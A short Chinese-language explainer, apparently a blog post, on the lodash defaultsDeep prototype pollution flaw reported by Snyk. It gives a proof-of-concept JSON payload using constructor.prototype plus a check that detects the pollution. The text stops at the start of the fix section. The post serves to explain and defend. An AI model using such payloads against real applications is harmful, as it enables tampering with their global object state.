事件
七月2日, Snyk報告了一個lodash潛在的安全風險,該風險可能導致用戶代碼被用以執行有危險的腳本。
緣由
據報告,lodash的defaultsDeep方法可能會被欺騙導致Object對象原型鏈被污染
原理
原理代碼
const mergeFn = require('lodash').defaultsDeep;
const payload = '{ "constructor": {"prototype": { "a0": true }} }';
function check() {
mergeFn({}, JSON.parse(payload));
if (({})['a0'] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
原理講解
很明顯的可以看出,該方法是利用了lodash.defaultsDeep 深拷貝未過濾危險對象成員constructor來達到污染原型鏈的目的。
使用JavaScript作爲編程語言的人對原型繼承方法並不陌生,js object的構造器爲Object, Object的原型鏈上掛載的內容可以被所有js object所繼承。
因此,如果對js對象深度拷貝了有危險的json字符串所構造出的js對象,將會把污染擴大到程序全局。
修復
Snyk的工程師Kirll已經給lodash開源庫推送了一條修改,具體修改爲